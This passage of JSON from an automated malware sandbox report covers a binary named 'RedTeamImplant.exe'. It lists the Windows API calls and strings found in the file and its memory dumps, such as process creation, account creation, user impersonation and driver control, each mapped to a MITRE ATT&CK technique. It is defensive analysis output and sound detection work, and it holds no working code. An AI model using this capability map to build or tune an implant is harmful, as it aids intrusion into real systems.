\"GetProcAddress\" with a parameter NtQueryInformationFile (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetFileType (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetConsoleMode (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetCommandLineW (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetEnvironmentVariableW (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetFileAttributesExW (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CreateFileW (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetEnvironmentStringsW (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter FreeEnvironmentStringsW (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetCurrentProcess (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter DuplicateHandle (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter InitializeProcThreadAttributeList (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter LocalAlloc (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter UpdateProcThreadAttribute (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CreateProcessW (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter CloseHandle (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter DeleteProcThreadAttributeList (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter LocalFree (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter WaitForSingleObject (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetExitCodeProcess (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetProcAddress\" with a parameter GetProcessTimes (UID: 00000000-00007844)"}],"origin":"API Call","attck_id":"T1106","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1106","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-204","type":2,"relevance":1,"name":"Contains ability to create a new process (API string)","description":"file/memory contains long string with (Indicator: \"CreateProcess\"; File: \"RedTeamImplant.exe\")\n Found reference to API \"syscall.CreateProcessAsUser\" (Indicator: \"CreateProcess\"; File: \"RedTeamImplant.exe\")\n Found reference to API \"syscall.CreateProcess\" (Indicator: \"CreateProcess\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"CreateProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")\n Found reference to API \"syscall.CreateProcessAsUser\" (Indicator: \"CreateProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")\n Found reference to API \"syscall.CreateProcess\" (Indicator: \"CreateProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"CreateProcess\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.CreateProcessAsUser\" (Indicator: \"CreateProcess\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.CreateProcess\" (Indicator: \"CreateProcess\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"CreateProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.CreateProcessAsUser\" (Indicator: \"CreateProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.CreateProcess\" (Indicator: \"CreateProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"CreateProcess\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.CreateProcessAsUser\" (Indicator: \"CreateProcess\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.CreateProcess\" (Indicator: \"CreateProcess\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"CreateProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.CreateProcessAsUser\" (Indicator: \"CreateProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.CreateProcess\" (Indicator: \"CreateProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1106","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1106","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-214","type":2,"relevance":1,"name":"Contains ability to create a new user account (API string)","description":"file/memory contains long string with (Indicator: \"NetUserAdd\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"NetUserAdd\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"NetUserAdd\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"NetUserAdd\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"NetUserAdd\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"NetUserAdd\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1136.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1136/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-423","type":2,"relevance":1,"name":"Contains ability to create directories (API string)","description":"file/memory contains long string with (Indicator: \"CreateDirectory\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"CreateDirectory\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"CreateDirectory\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"CreateDirectory\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"CreateDirectory\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"CreateDirectory\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1074.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1074/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-220","type":2,"relevance":1,"name":"Contains ability to create/control drivers (API string)","description":"file/memory contains long string with (Indicator: \"DeviceIoControl\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"DeviceIoControl\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"DeviceIoControl\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"DeviceIoControl\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"DeviceIoControl\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"DeviceIoControl\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1543.003","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1543/003","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-315","type":2,"relevance":1,"name":"Contains ability to create/open files (API string)","description":"file/memory contains long string with (Indicator: \"CreateFile\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"NtOpenFile\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"NtCreateFile\"; File: \"RedTeamImplant.exe\")\n Found reference to API \"syscall.CreateFile\" (Indicator: \"CreateFile\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"CreateFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")\n file/memory contains long string with (Indicator: \"NtOpenFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")\n Found reference to API \"syscall.CreateFile\" (Indicator: \"CreateFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"CreateFile\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"NtOpenFile\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"NtCreateFile\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.CreateFile\" (Indicator: \"CreateFile\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"CreateFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"NtOpenFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.CreateFile\" (Indicator: \"CreateFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"CreateFile\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"NtOpenFile\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"NtCreateFile\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.CreateFile\" (Indicator: \"CreateFile\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"CreateFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"NtOpenFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.CreateFile\" (Indicator: \"CreateFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1106","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1106","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-345","type":2,"relevance":1,"name":"Contains ability to disable/close registry key (API string)","description":"file/memory contains long string with (Indicator: \"RegCloseKey\"; File: \"RedTeamImplant.exe\")\n Found reference to API \"syscall.RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"RedTeamImplant.exe\")\n Found reference to API \"syscall.RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"RegCloseKey\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"RegCloseKey\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1112","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1112","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-101","type":2,"relevance":1,"name":"Contains ability to execute Windows APIs","description":"$33","description_v2":["Found reference to API (Indicator: \"GetQueuedCompletionStatusEx\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"ResumeThread\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"TlsAlloc\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"SetProcessPriorityBoost\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"WriteFile\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"RaiseFailFastException\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"GetStdHandle\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"GetProcessAffinityMask\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"SetWaitableTimer\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"DuplicateHandle\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"GetErrorMode\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"CreateEventA\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"SetThreadContext\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"CreateWaitableTimerExW\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"WaitForMultipleObjects\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"GetSystemInfo\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"GetSystemDirectoryA\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"VirtualQuery\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"AddVectoredExceptionHandler\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"GetThreadContext\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"GetEnvironmentStringsW\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"GetCurrentThreadId\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"RtlVirtualUnwind\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"PostQueuedCompletionStatus\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"WaitForSingleObject\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"WerSetFlags\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"LoadLibraryExW\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"GetConsoleMode\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"CreateIoCompletionPort\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"SuspendThread\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"VirtualAlloc\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"LoadLibraryW\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"CloseHandle\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"SwitchToThread\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"FreeEnvironmentStringsW\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"SetEvent\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"AddVectoredContinueHandler\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"VirtualFree\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"CreateThread\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"ExitProcess\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"WerGetFlags\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"WriteConsoleW\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"GetProcAddress\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"SetConsoleCtrlHandler\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"RtlLookupFunctionEntry\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"SetErrorMode\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"WSAIoctl\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"GetFileType\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"GetFileInformationByHandle\"; File: \"RedTeamImplant.exe\")","Found reference to API (Indicator: \"WSAIoctl\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API (Indicator: \"GetFileType\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API (Indicator: \"GetFileInformationByHandle\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API (Indicator: \"GetConsoleMode\"; Source: \"00000000-00007844.00000002.187602.00100000.00000004.mdmp\")","Found reference to API (Indicator: \"LocalFree\"; Source: \"00000000-00007844.00000002.187602.00100000.00000004.mdmp\")","Found reference to API (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00007844.00000002.187602.00100000.00000004.mdmp\")","Found reference to API (Indicator: \"DeleteProcThreadAttributeList\"; Source: \"00000000-00007844.00000002.187602.00100000.00000004.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API (Indicator: \"GetQueuedCompletionStatusEx\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ResumeThread\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"TlsAlloc\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetProcessPriorityBoost\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WriteFile\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RaiseFailFastException\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetStdHandle\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetProcessAffinityMask\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetWaitableTimer\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DuplicateHandle\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetErrorMode\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateEventA\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetThreadContext\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateWaitableTimerExW\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WaitForMultipleObjects\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetSystemInfo\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetSystemDirectoryA\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"VirtualQuery\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"AddVectoredExceptionHandler\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetThreadContext\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetEnvironmentStringsW\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetCurrentThreadId\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RtlVirtualUnwind\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"PostQueuedCompletionStatus\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WaitForSingleObject\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WerSetFlags\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"LoadLibraryExW\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetConsoleMode\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateIoCompletionPort\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SuspendThread\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"VirtualAlloc\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"LoadLibraryW\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CloseHandle\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SwitchToThread\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"FreeEnvironmentStringsW\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetEvent\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"AddVectoredContinueHandler\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"VirtualFree\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateThread\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ExitProcess\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WerGetFlags\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WriteConsoleW\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetProcAddress\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetConsoleCtrlHandler\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RtlLookupFunctionEntry\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetErrorMode\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WSAIoctl\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetFileType\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetFileInformationByHandle\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WSAIoctl\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetFileType\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetFileInformationByHandle\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetConsoleMode\"; Source: \"00000000-00007844.00000002.187602.00100000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"LocalFree\"; Source: \"00000000-00007844.00000002.187602.00100000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00007844.00000002.187602.00100000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DeleteProcThreadAttributeList\"; Source: \"00000000-00007844.00000002.187602.00100000.00000004.mdmp\")"}],"origin":"File/Memory","attck_id":"T1106","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1106","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-225","type":2,"relevance":1,"name":"Contains ability to impersonate another user on the local machine (API string)","description":"file/memory contains long string with (Indicator: \"LogonUser\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"LogonUser\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"LogonUser\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"LogonUser\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"LogonUser\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"LogonUser\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1134.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1134/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-322","type":2,"relevance":1,"name":"Contains ability to move file or directory (API string)","description":"file/memory contains long string with (Indicator: \"MoveFile\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"MoveFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"MoveFile\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"MoveFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"MoveFile\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"MoveFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1570","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1570","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-206","type":2,"relevance":1,"name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"CommandLineToArgv\"; File: \"RedTeamImplant.exe\")\n Found reference to API \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"GetCommandLine\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")\n Found reference to API \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")\n Found reference to API \"C:\\RedTeGetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007844.00000002.187602.00100000.00000004.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"CommandLineToArgv\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetCommandLine\"; Source: 